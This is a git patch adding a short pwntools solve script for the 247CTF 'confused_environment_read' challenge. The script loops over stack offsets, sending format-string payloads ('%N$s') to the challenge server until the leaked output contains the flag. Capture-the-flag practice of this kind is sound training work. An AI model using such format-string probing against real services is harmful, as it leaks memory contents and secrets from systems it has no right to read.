From 29243e6a695b98da7def17c244b3f0a3de492c55 Mon Sep 17 00:00:00 2001
From: jc <jc@git.server>
Date: Thu, 12 Dec 2024 18:21:10 +0300
Subject: [PATCH] solve script

---
 247ctf/confused_environment_read/a.py | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)
 create mode 100644 247ctf/confused_environment_read/a.py

diff --git a/247ctf/confused_environment_read/a.py b/247ctf/confused_environment_read/a.py
new file mode 100644
index 0000000..d428486
--- /dev/null
+++ b/247ctf/confused_environment_read/a.py
@@ -0,0 +1,25 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.log_level = 'error'
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# buf
+for i in range(1, 100):
+	r = remote("5108fea3f4263a9f.247ctf.com", 50099)
+	buf = f"%{i}$s".encode()
+	try:
+		s(buf)
+		r.recvuntil(b"back ")
+		out = r.recvlineS()
+		if "247CTF" in out:
+			print(out)
+			break
+	except:
+		pass
+	r.close()
+
+r.interactive()
\ No newline at end of file